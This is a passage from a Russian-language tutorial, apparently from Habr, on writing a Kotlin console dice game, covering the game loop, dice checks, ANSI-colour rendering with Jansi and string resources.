Action.Type.CONFIRM -> if (canProceed) {
activeHandPositions.clear()
return true
}
Action.Type.CANCEL -> if (allowCancel) {
activeHandPositions.clear()
pickedHandPositions.clear()
return false
}
Action.Type.HAND\_POSITION -> {
Audio.playSound(Sound.DIE\_PICK)
pickedHandPositions.switchPosition(result.data)
}
Action.Type.HAND\_ALLY\_POSITION -> {
Audio.playSound(Sound.DIE\_PICK)
pickedHandPositions.switchAllyPosition(result.data)
}
else -> throw AssertionError("Should not happen")
}
}
}
private fun collectPickedDice(hand: Hand) =
(0 until hand.dieCount)
.filter(pickedHandPositions::checkPosition)
.mapNotNull(hand::dieAt)
private fun collectPickedAllyDice(hand: Hand) =
(0 until hand.allyDieCount)
.filter(pickedHandPositions::checkAllyPosition)
.mapNotNull(hand::allyDieAt)
private fun performStatDieAcquireCheck(shouldDiscard: Boolean): Boolean {
//Prepare check
battleCheck = DieBattleCheck(DieBattleCheck.Method.SUM, encounteredDie)
pickedHandPositions.clear()
statusMessage = StatusMessage.CHOOSE\_DICE\_PERFORM\_CHECK
val hand = currentHero.hand
//Try to pick dice from performer's hand
if (!pickDiceFromHand(StatDieAcquireHandMaskRule(currentHero.hand, encounteredDie!!.die.type), true) {
battleCheck!!.clearHeroPairs()
(collectPickedDice(hand) + collectPickedAllyDice(hand))
.map { DiePair(it, if (shouldDiscard) 1 else 0) }
.forEach(battleCheck!!::addHeroPair)
}) {
battleCheck = null
pickedHandPositions.clear()
return false
}
//Remove dice from hand
collectPickedDice(hand).forEach { hand.removeDie(it) }
collectPickedAllyDice(hand).forEach { hand.removeDie(it) }
pickedHandPositions.clear()
//Perform check
Audio.playSound(Sound.BATTLE\_CHECK\_ROLL)
for (i in 0..7) {
battleCheck!!.roll()
drawScreen()
Thread.sleep(100)
}
battleCheck!!.calculateResult()
val result = battleCheck?.result ?: -1
val success = result >= 0
//Process dice which participated in the check
(0 until battleCheck!!.heroPairCount)
.map(battleCheck!!::getHeroPairAt)
.map(DiePair::die)
.forEach { d ->
if (d.type === Die.Type.DIVINE) {
currentHero.hand.removeDie(d)
deterrentPile.put(d)
} else {
if (shouldDiscard) {
currentHero.discardDieFromHand(d)
} else {
currentHero.hideDieFromHand(d)
}
}
}
//Show message to user
Audio.playSound(if (success) Sound.BATTLE\_CHECK\_SUCCESS else Sound.BATTLE\_CHECK\_FAILURE)
statusMessage = if (success) StatusMessage.DIE\_ACQUIRE\_SUCCESS else StatusMessage.DIE\_ACQUIRE\_FAILURE
actions = ActionList.EMPTY
drawScreen()
interactor.anyInput()
//Clean up
battleCheck = null
//Resolve consequences of the check
if (success) {
Audio.playSound(Sound.DIE\_DRAW)
currentHero.hand.addDie(encounteredDie!!.die)
}
return true
}
private fun processCycle() {
while (true) {
drawScreen()
when (phase) {
GamePhase.HERO\_TURN\_START -> {
interactor.anyInput()
changePhaseLocationBeforeExploration()
}
GamePhase.GAME\_LOSS -> {
interactor.anyInput()
return
}
GamePhase.LOCATION\_BEFORE\_EXPLORATION ->
when (interactor.pickAction(actions).type) {
Action.Type.EXPLORE\_LOCATION -> {
val die = currentLocation.bag.draw()
encounteredDie = DiePair(die, 0)
when (die.type) {
Die.Type.PHYSICAL, Die.Type.SOMATIC, Die.Type.MENTAL, Die.Type.VERBAL -> changePhaseLocationEncounterStatDie()
Die.Type.DIVINE -> changePhaseLocationEncounterDivineDie()
else -> TODO("Others")
}
}
Action.Type.FINISH\_TURN -> changePhaseHeroTurnEnd()
else -> throw AssertionError("Should not happen")
}
GamePhase.LOCATION\_ENCOUNTER\_STAT -> {
val type = interactor.pickAction(actions).type
when (type) {
Action.Type.DISCARD, Action.Type.HIDE -> {
performStatDieAcquireCheck(type === Action.Type.DISCARD)
changePhaseLocationAfterExploration()
}
Action.Type.FORFEIT -> {
Audio.playSound(Sound.DIE\_REMOVE)
changePhaseLocationAfterExploration()
}
else -> throw AssertionError("Should not happen")
}
}
GamePhase.LOCATION\_ENCOUNTER\_DIVINE ->
when (interactor.pickAction(actions).type) {
Action.Type.ACQUIRE -> {
Audio.playSound(Sound.DIE\_DRAW)
currentHero.hand.addDie(encounteredDie!!.die)
changePhaseLocationAfterExploration()
}
Action.Type.FORFEIT -> {
Audio.playSound(Sound.DIE\_REMOVE)
changePhaseLocationAfterExploration()
}
else -> throw AssertionError("Should not happen")
}
GamePhase.LOCATION\_AFTER\_EXPLORATION ->
when (interactor.pickAction(actions).type) {
Action.Type.FINISH\_TURN -> changePhaseHeroTurnEnd()
else -> throw AssertionError("Should not happen")
}
else -> throw AssertionError("Should not happen")
}
}
}
private fun drawScreen() {
when (screen) {
GameScreen.HERO\_TURN\_START -> renderer.drawHeroTurnStart(currentHero)
GameScreen.LOCATION\_INTERIOR -> renderer.drawLocationInteriorScreen(currentLocation, heroes, timer, currentHero, battleCheck, encounteredDie, null, pickedHandPositions, activeHandPositions, statusMessage, actions)
GameScreen.GAME\_LOSS -> renderer.drawGameLoss(statusMessage)
}
}
private fun checkLocationCanBeExplored(location: Location) = location.isOpen && location.bag.size > 0
private fun checkHeroCanAttemptStatCheck(hero: Hero, type: Die.Type): Boolean {
return hero.isAlive && SingleDieHandFilter(type).test(hero.hand)
}
private fun checkHeroCanAcquireDie(hero: Hero, type: Die.Type): Boolean {
if (!hero.isAlive) {
return false
}
return when (type) {
Die.Type.ALLY -> hero.hand.allyDieCount < MAX\_HAND\_ALLY\_SIZE
else -> hero.hand.dieCount < MAX\_HAND\_SIZE
}
}
}
```
Метод `start()` — точка входа в игру. Здесь инициализируются переменные, взвешиваются герои, руки наполняются кубиками, а репортеры светят камерами со всех сторон. Главный цикл будет запущен с минуты на минуту, после чего его уже не остановить. Метод `drawInitialHand()` говорит сам за себя (мы, кажется, не рассмотрели код метода `drawOfType()` класса `Bag`, но пройдя столь длинный путь вместе, этот код вы и сами напишете без труда). Метод `refillHeroHand()` имеет два варианта (в зависимости от значения аргумента `redrawScreen`): быстрый и тихий (когда нужно наполнить руки всех героев в начале игры), и громкий с кучей пафоса, когда в конце хода нужно демонстративно доставать кубики из сумки, доводя руку до нужного размера.
Куча методов с названиями, начинающимися с `changePhase`, — как мы уже сказали, они служат для смены и текущей игровой фазы и занимаются присвоением соответствующих значений игровых переменных. Здесь же формируется список `actions`, куда добавляются характерные для данной фазы действия.
Служебный метод `pickDiceFromHand()` в обобщенном виде занимается выбором кубиков из руки. Сюда передается объект знакомого класса `HandMaskRule`, задающего правила выбора. Тут же указывается возможность отказаться от выбора (`allowCancel`), а также функция `onEachLoop`, код которой необходимо вызывать при каждом изменении списка выбранных кубиков (обычно это перерисовка экрана). Выбранные этим методом кубики можно собрать из руки при помощи методов `collectPickedDice()` и `collectPickedAllyDice()`.
Еще один служебный метод `performStatDieAcquireCheck()` полностью реализует прохождение героем проверки на приобретение нового кубика. Центральную роль в этом методе играет объект `DieBattleCheck`. Процесс начинается с выбора кубиков методом `pickDiceFromHand()` (на каждом шаге происходит обновление списка «участников» `DieBattleCheck`). Выбранные кубики удаляются из руки, после чего присходит «бросок» — каждый кубик обновляет свое значение (восемь раз подряд), после чего подсчитывается и отображается результат. При успешном броске новый кубик попадает в руку героя. Участвовашие в проверке кубики либо удерживаются (если они голубые), либо сбрасываются (если `shouldDiscard = true`), либо прячутся обратно в сумку (если `shouldDiscard = false`).
Основной метод `processCycle()` содержит бесконечный цикл (попрошу без обмороков), в котором сначала отрисовывается экран, затем у пользователя запрашивается ввод, затем происходит обработка этого ввода — со всеми вытекающими последствиями. Метод `drawScreen()` вызывает нужный метод интерфейса `GameRenderer` (в зависимости от текущего значения `screen`), передавая ему требуемые объекты на вход.
Также класс содержит несколько вспомогательных методов: `checkLocationCanBeExplored()`, `checkHeroCanAttemptStatCheck()` и `checkHeroCanAcquireDie()`. Их названия говорят сами за себя, потому не будем подробно на них останавливаться. А еще есть вызовы методов класса `Audio`, подчеркнутые красной волнистой линией. Закомментируйте их до поры до времени — их предназначение мы рассмотрим позже.
**Кому вообще ничего не понятно, вот диаграммка (для наглядности, так сказать):**[](https://habrastorage.org/webt/j3/hl/so/j3hlsov7ev0lducteyrvthdwkge.png)
Вот и все, игра готова (хе-хе). Остались сущие мелочи, о них ниже.
Шаг девятый. Вывод изображения на экран
---------------------------------------
Вот мы и подошли к главной теме сегодняшней беседы — графической составляющей приложения. Как вы помните, нашей задачей является реализация интерфейса `GameRenderer` и трех его методов, причем поскольку талантливого художника в нашей команде все еще нет, делать это мы будем самостоятельно при помощи псевдографики. Но для начала неплохо бы понять, а что мы вообще ожидаем увидеть на выходе. А увидеть мы хотим три экрана приблизительно следующего содержания:
**Экран 1. Идентификатор хода игрока**[](https://habrastorage.org/webt/ey/kv/ro/eykvrovfqckvawmiylrmb03gx70.png)
**Экран 2. Информация о местности и текущем герое**[](https://habrastorage.org/webt/5v/xd/ad/5vxdadvii-aunblqcdkxs4h8jrs.png)
**Экран 3. Сообщение о проигрыше сценария**[](https://habrastorage.org/webt/ry/l1/6y/ryl16yvaas4njnnu5mxginmvsm0.png)
Думаю, большинство уже смекнуло, что представленные изображения отличаются от всего, что мы обычно привыкли видеть в консоли Java-приложения, и что возможностей обычного `prinltn()` нам будет явно недостаточно. Хотелось бы еще уметь прыгать в произвольные места экрана и рисовать символы разными цветами.
К нам на помощь спешат ~~Чип и Дейл~~ [коды ANSI](https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_ANSI). Отправляя на вывод причудливые последовательности символов, можно добиться не менее причудливых эффектов: менять цвет текста/фона, способ начертания символов, положение курсора на экране и многое другое. Разумеется, в чистом виде мы их вводить не будем — спрячем реализацию за методами класса. Да и сам класс мы с нуля писать не будем — к счастью, умные люди сделали это за нас. Нам же остается скачать и подключить к проекту какую-то легковесную библиотеку, например, [Jansi](https://github.com/fusesource/jansi):
```
org.fusesource.jansi
jansi
1.17.1
compile
```
И можно начинать творить. Данная библиотека предоставляет нам объект класса `Ansi` (получается в результате статического вызова `Ansi.ansi()`) с кучей удобных методов, которые можно объединять в цепочки. Работает по принципу `StringBuilder`'а — сначала формируем объект, затем отправляем его на печать. Из полезных методов нам пригодятся:
* `a()` — для вывода символов;
* `cursor()` — для перемещения курсора по экрану;
* `eraseLine()` — как-бы говорит сам за себя;
* `eraseScreen()` — аналогично;
* `fg(), bg(), fgBright(), bgBright()` — очень неудобные методы для работы с цветами текста и фона — мы сделаем свои, более приятные;
* `reset()` — для сброса установленных настроек цветов, мерцания итп.
Создадим класс `ConsoleRenderer` со служебными методами, которые могут пригодиться нам в работе. Первая версия будет иметь приблизительно такой вид:
```
abstract class ConsoleRenderer() {
protected lateinit var ansi: Ansi
init {
AnsiConsole.systemInstall()
clearScreen()
resetAnsi()
}
private fun resetAnsi() {
ansi = Ansi.ansi()
}
fun clearScreen() {
print(Ansi.ansi().eraseScreen(Ansi.Erase.ALL).cursor(1, 1))
}
protected fun render() {
print(ansi.toString())
resetAnsi()
}
}
```
Метод `resetAnsi()` создает новый (пустой) объект `Ansi`, который будет наполняться нужными командами (перемещения, вывода итп). По завершении наполнения, сформированный объект отправляется на печать методом `render()`, а переменная инициализируется новым объектом. Пока что ничего сложного, верно? А раз так, то начнем наполнять этот класс другими полезными методами.
Начнем с размеров. Стандартная консоль большинства терминалов имеет размер 80х24. Отметим этот факт двумя константами `CONSOLE_WIDTH` и `CONSOLE_HEIGHT`. Мы не будем привязываться к конкретным значениям и постараемся сделать дизайн максимально резиновым (как в вебе). Нумерация координат начинается с единицы, первая координата — строка, вторая — столбец. Зная все это, напишем служебный метод `drawHorizontalLine()` для заполнения указанной строки указанным символом.
```
protected fun drawHorizontalLine(offsetY: Int, filler: Char) {
ansi.cursor(offsetY, 1)
(1..CONSOLE_WIDTH).forEach { ansi.a(filler) }
//for (i in 1..CONSOLE_WIDTH) { ansi.a(filler) }
}
```
Еще раз напоминаю, что вызов команд `a()` или `cursor()` не приводит ни к какому мгновенному эффекту, а лишь добавляет в объект `Ansi` соответствующие последовательности команд. Только когда эти последовательности будут отправлены на печать, мы увидим их на экране.
Между использованием классического цикла `for` и функционального подхода с `ClosedRange` и `forEach{}` нет никакой принципиальной разницы — каждый разработчик сам решает, что ему удобнее. Однако я и дальше буду дурить вам головы функциональщиной, просто потому что ~~я обезьяна, которая любит все новое и блестящее~~ скобки не переносятся на новую строку и код выглядит компактнее.
Реализуем еще один служебный метод `drawBlankLine()`, делающий то же самое, что и `drawHorizontalLine(offsetY, ' ')`, только с расширением. Иногда нам понадобится сделать строку пустой не полностью, а оставить в начале и конце вертикальную черту (рамочку, ага). Код будет выглядеть как-то так:
```
protected fun drawBlankLine(offsetY: Int, drawBorders: Boolean = true) {
ansi.cursor(offsetY, 1)
if (drawBorders) {
ansi.a('│')
(2 until CONSOLE_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
} else {
ansi.eraseLine(Ansi.Erase.ALL)
}
}
```
Как, вы никогда не рисовали рамочки из псевдографики? Символы можно вставлять прямо в исходный код. Зажимаете клавишу Alt и набираете код символа на цифровой клавиатуре. Затем отпускаете. Нужные нам ASCII-коды в любой кодировке одинаковые, вот минимальный джентельменский набор:
А дальше как в майнкрафте — возможности ограничены лишь пределами вашего воображения. И размером экрана.
```
protected fun drawCenteredCaption(offsetY: Int, text: String, color: Color, drawBorders: Boolean = true) {
val center = (CONSOLE_WIDTH - text.length) / 2
ansi.cursor(offsetY, 1)
ansi.a(if (drawBorders) '│' else ' ')
(2 until center).forEach { ansi.a(' ') }
ansi.color(color).a(text).reset()
(text.length + center until CONSOLE_WIDTH).forEach { ansi.a(' ') }
ansi.a(if (drawBorders) '│' else ' ')
}
```
Поговорим немножко о цветах. Класс `Ansi` содержит константы `Color` для восьми основных цветов (черный, синий, зеленый, голубой, красный, фиолетовый, желтый, серый), которые нужно передавать на вход методов `fg()/bg()` для темного варианта или `fgBright()/bgBright()` — для светлого, что делать жутко неудобно, так как для идентификации цвета таким способом нам недостаточно одного значения — нужно как-минимум два (цвет и яркость). Поэтому мы создадим свой список констант и свои методы-расширения (а еще карты-привязки цветов к типам кубиков и классам героев):
```
protected enum class Color {
BLACK, DARK_BLUE, DARK_GREEN, DARK_CYAN, DARK_RED, DARK_MAGENTA, DARK_YELLOW, LIGHT_GRAY,
DARK_GRAY, LIGHT_BLUE, LIGHT_GREEN, LIGHT_CYAN, LIGHT_RED, LIGHT_MAGENTA, LIGHT_YELLOW, WHITE
}
protected fun Ansi.color(color: Color?): Ansi = when (color) {
Color.BLACK -> fgBlack()
Color.DARK_BLUE -> fgBlue()
Color.DARK_GREEN -> fgGreen()
Color.DARK_CYAN -> fgCyan()
Color.DARK_RED -> fgRed()
Color.DARK_MAGENTA -> fgMagenta()
Color.DARK_YELLOW -> fgYellow()
Color.LIGHT_GRAY -> fg(Ansi.Color.WHITE)
Color.DARK_GRAY -> fgBrightBlack()
Color.LIGHT_BLUE -> fgBrightBlue()
Color.LIGHT_GREEN -> fgBrightGreen()
Color.LIGHT_CYAN -> fgBrightCyan()
Color.LIGHT_RED -> fgBrightRed()
Color.LIGHT_MAGENTA -> fgBrightMagenta()
Color.LIGHT_YELLOW -> fgBrightYellow()
Color.WHITE -> fgBright(Ansi.Color.WHITE)
else -> this
}
protected fun Ansi.background(color: Color?): Ansi = when (color) {
Color.BLACK -> ansi.bg(Ansi.Color.BLACK)
Color.DARK_BLUE -> ansi.bg(Ansi.Color.BLUE)
Color.DARK_GREEN -> ansi.bgGreen()
Color.DARK_CYAN -> ansi.bg(Ansi.Color.CYAN)
Color.DARK_RED -> ansi.bgRed()
Color.DARK_MAGENTA -> ansi.bgMagenta()
Color.DARK_YELLOW -> ansi.bgYellow()
Color.LIGHT_GRAY -> ansi.bg(Ansi.Color.WHITE)
Color.DARK_GRAY -> ansi.bgBright(Ansi.Color.BLACK)
Color.LIGHT_BLUE -> ansi.bgBright(Ansi.Color.BLUE)
Color.LIGHT_GREEN -> ansi.bgBrightGreen()
Color.LIGHT_CYAN -> ansi.bgBright(Ansi.Color.CYAN)
Color.LIGHT_RED -> ansi.bgBrightRed()
Color.LIGHT_MAGENTA -> ansi.bgBright(Ansi.Color.MAGENTA)
Color.LIGHT_YELLOW -> ansi.bgBrightYellow()
Color.WHITE -> ansi.bgBright(Ansi.Color.WHITE)
else -> this
}
protected val dieColors = mapOf(
Die.Type.PHYSICAL to Color.LIGHT_BLUE,
Die.Type.SOMATIC to Color.LIGHT_GREEN,
Die.Type.MENTAL to Color.LIGHT_MAGENTA,
Die.Type.VERBAL to Color.LIGHT_YELLOW,
Die.Type.DIVINE to Color.LIGHT_CYAN,
Die.Type.WOUND to Color.DARK_GRAY,
Die.Type.ENEMY to Color.DARK_RED,
Die.Type.VILLAIN to Color.LIGHT_RED,
Die.Type.OBSTACLE to Color.DARK_YELLOW,
Die.Type.ALLY to Color.WHITE
)
protected val heroColors = mapOf(
Hero.Type.BRAWLER to Color.LIGHT_BLUE,
Hero.Type.HUNTER to Color.LIGHT_GREEN
)
```
Теперь каждый из 16-ти доступных цветов однозначно идентифицируется единственной константой. Напишем еще пару служебных методов, но перед этим разберемся вот еще с чем:
Где хранить константы для текстовых строк?
*«Строковые константы нужно выносить в отдельные файлы, чтобы они хранились все в одном месте — так их легче поддерживать. А еще это важно для локализации...»*
Строковые константы нужно выносить в отдельные файлы… ну да. Вынесем и мы. Стандартным механизмом Java для работы с такого рода ресурсами являются объекты `java.util.ResourceBundle`, работающие с файлами `.properties`. Вот с такого файла и начнем:
```
# Game status messages
choose_dice_perform_check=Choose dice to perform check:
end_of_turn_discard_extra=END OF TURN: Discard extra dice:
end_of_turn_discard_optional=END OF TURN: Discard any dice, if needed:
choose_action_before_exploration=Choose your action:
choose_action_after_exploration=Already explored this turn. Choose what to do now:
encounter_physical=Encountered PHYSICAL die. Need to pass respective check or lose this die.
encounter_somatic=Encountered SOMATIC die. Need to pass respective check or lose this die.
encounter_mental=Encountered MENTAL die. Need to pass respective check or lose this die.
encounter_verbal=Encountered VERBAL die. Need to pass respective check or lose this die.
encounter_divine=Encountered DIVINE die. Can be acquired automatically (no checks needed):
die_acquire_success=You have acquired the die!
die_acquire_failure=You have failed to acquire the die.
game_loss_out_of_time=You ran out of time
# Die types
physical=PHYSICAL
somatic=SOMATIC
mental=MENTAL
verbal=VERBAL
divine=DIVINE
ally=ALLY
wound=WOUND
enemy=ENEMY
villain=VILLAIN
obstacle=OBSTACLE
# Hero types and descriptions
brawler=Brawler
hunter=Hunter
# Various labels
avg=avg
bag=Bag
bag_size=Bag size
class=Class
closed=Closed
discard=Discard
empty=Empty
encountered=Encountered
fail=Fail
hand=Hand
heros_turn=%s's turn
max=max
min=min
perform_check=Perform check:
pile=Pile
received_new_die=Received new die
result=Result
success=Success
sum=sum
time=Time
total=Total
# Action names and descriptions
action_confirm_key=ENTER
action_confirm_name=Confirm
action_cancel_key=ESC
action_cancel_name=Cancel
action_explore_location_key=E
action_explore_location_name=xplore
action_finish_turn_key=F
action_finish_turn_name=inish
action_hide_key=H
action_hide_name=ide
action_discard_key=D
action_discard_name=iscard
action_acquire_key=A
action_acquire_name=cquire
action_leave_key=L
action_leave_name=eave
action_forfeit_key=F
action_forfeit_name=orfeit
```
Каждая строка содержит пару ключ-значения, разделенные символом `=`. Файл можно положить куда угодно — главное, чтобы путь к нему входил в classpath. Обратите внимание, текст для действий состоит из двух частей: первая буква не только выделяется желтым цветом при отображении на экране, но еще и определяет клавишу, которую необходимо нажать для выполнения этого действия. Поэтому и хранить их удобно по отдельности.
Абстрагируемся, однако, от конкретного формата (в Андроиде, например, строки хранятся по-другому) и опишем интерфейс для загрузки строковых констант.
```
interface StringLoader {
fun loadString(key: String): String
}
```
На вход передается ключ, на выходе получаем конкретную строку. Реализация так же незамысловата, как и сам интерфейс (предположим, что файл лежит по пути `src/main/resources/text/strings.properties`).
```
class PropertiesStringLoader() : StringLoader {
private val properties = ResourceBundle.getBundle("text.strings")
override fun loadString(key: String) = properties.getString(key) ?: ""
}
```
Теперь не составит труда реализовать метод `drawStatusMessage()` для отображения на экране текущего состояния игрового движка (`StatusMessage`) и метод `drawActionList()` для отображения списка доступных действий (`ActionList`). А также других служебных методов, какие только душа пожелает.
**Тут много кода, часть его мы уже видели... так что вот вам спойлер**
```
abstract class ConsoleRenderer(private val strings: StringLoader) {
protected lateinit var ansi: Ansi
init {
AnsiConsole.systemInstall()
clearScreen()
resetAnsi()
}
protected fun loadString(key: String) = strings.loadString(key)
private fun resetAnsi() {
ansi = Ansi.ansi()
}
fun clearScreen() {
print(Ansi.ansi().eraseScreen(Ansi.Erase.ALL).cursor(1, 1))
}
protected fun render() {
ansi.cursor(CONSOLE_HEIGHT, CONSOLE_WIDTH)
System.out.print(ansi.toString())
resetAnsi()
}
protected fun drawBigNumber(offsetX: Int, offsetY: Int, number: Int): Unit = with(ansi) {
var currentX = offsetX
cursor(offsetY, currentX)
val text = number.toString()
text.forEach {
when (it) {
'0' -> {
cursor(offsetY, currentX)
a(" ███ ")
cursor(offsetY + 1, currentX)
a("█ █ ")
cursor(offsetY + 2, currentX)
a("█ █ ")
cursor(offsetY + 3, currentX)
a("█ █ ")
cursor(offsetY + 4, currentX)
a(" ███ ")
}
'1' -> {
cursor(offsetY, currentX)
a(" █ ")
cursor(offsetY + 1, currentX)
a(" ██ ")
cursor(offsetY + 2, currentX)
a("█ █ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a("█████ ")
}
'2' -> {
cursor(offsetY, currentX)
a(" ███ ")
cursor(offsetY + 1, currentX)
a("█ █ ")
cursor(offsetY + 2, currentX)
a(" █ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a("█████ ")
}
'3' -> {
cursor(offsetY, currentX)
a("████ ")
cursor(offsetY + 1, currentX)
a(" █ ")
cursor(offsetY + 2, currentX)
a(" ██ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a("████ ")
}
'4' -> {
cursor(offsetY, currentX)
a(" █ ")
cursor(offsetY + 1, currentX)
a(" ██ ")
cursor(offsetY + 2, currentX)
a(" █ █ ")
cursor(offsetY + 3, currentX)
a("█████ ")
cursor(offsetY + 4, currentX)
a(" █ ")
}
'5' -> {
cursor(offsetY, currentX)
a("█████ ")
cursor(offsetY + 1, currentX)
a("█ ")
cursor(offsetY + 2, currentX)
a("████ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a("████ ")
}
'6' -> {
cursor(offsetY, currentX)
a(" ███ ")
cursor(offsetY + 1, currentX)
a("█ ")
cursor(offsetY + 2, currentX)
a("████ ")
cursor(offsetY + 3, currentX)
a("█ █ ")
cursor(offsetY + 4, currentX)
a(" ███ ")
}
'7' -> {
cursor(offsetY, currentX)
a("█████ ")
cursor(offsetY + 1, currentX)
a(" █ ")
cursor(offsetY + 2, currentX)
a(" █ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a(" █ ")
}
'8' -> {
cursor(offsetY, currentX)
a(" ███ ")
cursor(offsetY + 1, currentX)
a("█ █ ")
cursor(offsetY + 2, currentX)
a(" ███ ")
cursor(offsetY + 3, currentX)
a("█ █ ")
cursor(offsetY + 4, currentX)
a(" ███ ")
}
'9' -> {
cursor(offsetY, currentX)
a(" ███ ")
cursor(offsetY + 1, currentX)
a("█ █ ")
cursor(offsetY + 2, currentX)
a(" ████ ")
cursor(offsetY + 3, currentX)
a(" █ ")
cursor(offsetY + 4, currentX)
a(" ███ ")
}
}
currentX += 6
}
}
protected fun drawHorizontalLine(offsetY: Int, filler: Char) {
ansi.cursor(offsetY, 1)
(1..CONSOLE_WIDTH).forEach { ansi.a(filler) }
}
protected fun drawBlankLine(offsetY: Int, drawBorders: Boolean = true) {
ansi.cursor(offsetY, 1)
if (drawBorders) {
ansi.a('│')
(2 until CONSOLE_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
} else {
ansi.eraseLine(Ansi.Erase.ALL)
}
}
protected fun drawCenteredCaption(offsetY: Int, text: String, color: Color, drawBorders: Boolean = true) {
val center = (CONSOLE_WIDTH - text.length) / 2
ansi.cursor(offsetY, 1)
ansi.a(if (drawBorders) '│' else ' ')
(2 until center).forEach { ansi.a(' ') }
ansi.color(color).a(text).reset()
(text.length + center until CONSOLE_WIDTH).forEach { ansi.a(' ') }
ansi.a(if (drawBorders) '│' else ' ')
}
protected fun drawStatusMessage(offsetY: Int, message: StatusMessage, drawBorders: Boolean = true) {
//Setup
val messageText = loadString(message.toString().toLowerCase())
var currentX = 1
val rightBorder = CONSOLE_WIDTH - if (drawBorders) 1 else 0
//Left border
ansi.cursor(offsetY, 1)
if (drawBorders) {
ansi.a('│')
currentX++
}
ansi.a(' ')
currentX++
//Text
ansi.a(messageText)
currentX += messageText.length
//Right border
(currentX..rightBorder).forEach { ansi.a(' ') }
if (drawBorders) {
ansi.a('│')
}
}
protected fun drawActionList(offsetY: Int, actions: ActionList, drawBorders: Boolean = true) {
val rightBorder = CONSOLE_WIDTH - if (drawBorders) 1 else 0
var currentX = 1
//Left border
ansi.cursor(offsetY, 1)
if (drawBorders) {
ansi.a('│')
currentX++
}
ansi.a(' ')
currentX++
//List of actions
actions.forEach { action ->
val key = loadString("action_${action.toString().toLowerCase()}_key")
val name = loadString("action_${action.toString().toLowerCase()}_name")
val length = key.length + 2 + name.length
if (currentX + length >= rightBorder) {
(currentX..rightBorder).forEach { ansi.a(' ') }
if (drawBorders) {
ansi.a('│')
}
ansi.cursor(offsetY + 1, 1)
currentX = 1
if (drawBorders) {
ansi.a('│')
currentX++
}
ansi.a(' ')
currentX++
}
if (action.isEnabled) {
ansi.color(Color.LIGHT_YELLOW)
}
ansi.a('(').a(key).a(')').reset()
ansi.a(name)
ansi.a(" ")
currentX += length + 2
}
//Right border
(currentX..rightBorder).forEach { ansi.a(' ') }
if (drawBorders) {
ansi.a('│')
}
}
protected enum class Color {
BLACK, DARK_BLUE, DARK_GREEN, DARK_CYAN, DARK_RED, DARK_MAGENTA, DARK_YELLOW, LIGHT_GRAY,
DARK_GRAY, LIGHT_BLUE, LIGHT_GREEN, LIGHT_CYAN, LIGHT_RED, LIGHT_MAGENTA, LIGHT_YELLOW, WHITE
}
protected fun Ansi.color(color: Color?): Ansi = when (color) {
Color.BLACK -> fgBlack()
Color.DARK_BLUE -> fgBlue()
Color.DARK_GREEN -> fgGreen()
Color.DARK_CYAN -> fgCyan()
Color.DARK_RED -> fgRed()
Color.DARK_MAGENTA -> fgMagenta()
Color.DARK_YELLOW -> fgYellow()
Color.LIGHT_GRAY -> fg(Ansi.Color.WHITE)
Color.DARK_GRAY -> fgBrightBlack()
Color.LIGHT_BLUE -> fgBrightBlue()
Color.LIGHT_GREEN -> fgBrightGreen()
Color.LIGHT_CYAN -> fgBrightCyan()
Color.LIGHT_RED -> fgBrightRed()
Color.LIGHT_MAGENTA -> fgBrightMagenta()
Color.LIGHT_YELLOW -> fgBrightYellow()
Color.WHITE -> fgBright(Ansi.Color.WHITE)
else -> this
}
protected fun Ansi.background(color: Color?): Ansi = when (color) {
Color.BLACK -> ansi.bg(Ansi.Color.BLACK)
Color.DARK_BLUE -> ansi.bg(Ansi.Color.BLUE)
Color.DARK_GREEN -> ansi.bgGreen()
Color.DARK_CYAN -> ansi.bg(Ansi.Color.CYAN)
Color.DARK_RED -> ansi.bgRed()
Color.DARK_MAGENTA -> ansi.bgMagenta()
Color.DARK_YELLOW -> ansi.bgYellow()
Color.LIGHT_GRAY -> ansi.bg(Ansi.Color.WHITE)
Color.DARK_GRAY -> ansi.bgBright(Ansi.Color.BLACK)
Color.LIGHT_BLUE -> ansi.bgBright(Ansi.Color.BLUE)
Color.LIGHT_GREEN -> ansi.bgBrightGreen()
Color.LIGHT_CYAN -> ansi.bgBright(Ansi.Color.CYAN)
Color.LIGHT_RED -> ansi.bgBrightRed()
Color.LIGHT_MAGENTA -> ansi.bgBright(Ansi.Color.MAGENTA)
Color.LIGHT_YELLOW -> ansi.bgBrightYellow()
Color.WHITE -> ansi.bgBright(Ansi.Color.WHITE)
else -> this
}
protected val dieColors = mapOf(
Die.Type.PHYSICAL to Color.LIGHT_BLUE,
Die.Type.SOMATIC to Color.LIGHT_GREEN,
Die.Type.MENTAL to Color.LIGHT_MAGENTA,
Die.Type.VERBAL to Color.LIGHT_YELLOW,
Die.Type.DIVINE to Color.LIGHT_CYAN,
Die.Type.WOUND to Color.DARK_GRAY,
Die.Type.ENEMY to Color.DARK_RED,
Die.Type.VILLAIN to Color.LIGHT_RED,
Die.Type.OBSTACLE to Color.DARK_YELLOW,
Die.Type.ALLY to Color.WHITE
)
protected val heroColors = mapOf(
Hero.Type.BRAWLER to Color.LIGHT_BLUE,
Hero.Type.HUNTER to Color.LIGHT_GREEN
)
protected open fun shortcut(index: Int) = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"[index]
}
```
Для чего мы все это делали, спросите вы? Да для того, чтобы унаследовать от этого замечательного класса нашу реализацию интерфейса `GameRenderer`.
**Диаграмма классов**[](https://habrastorage.org/webt/tn/00/fj/tn00fjvlnpga4zqm1p-ojveq7nm.png)
Вот так будет выглядеть реализация первого, самого простого метода:
```
override fun drawGameLoss(message: StatusMessage) {
val centerY = CONSOLE_HEIGHT / 2
(1 until centerY).forEach { drawBlankLine(it, false) }
val data = loadString(message.toString().toLowerCase()).toUpperCase()
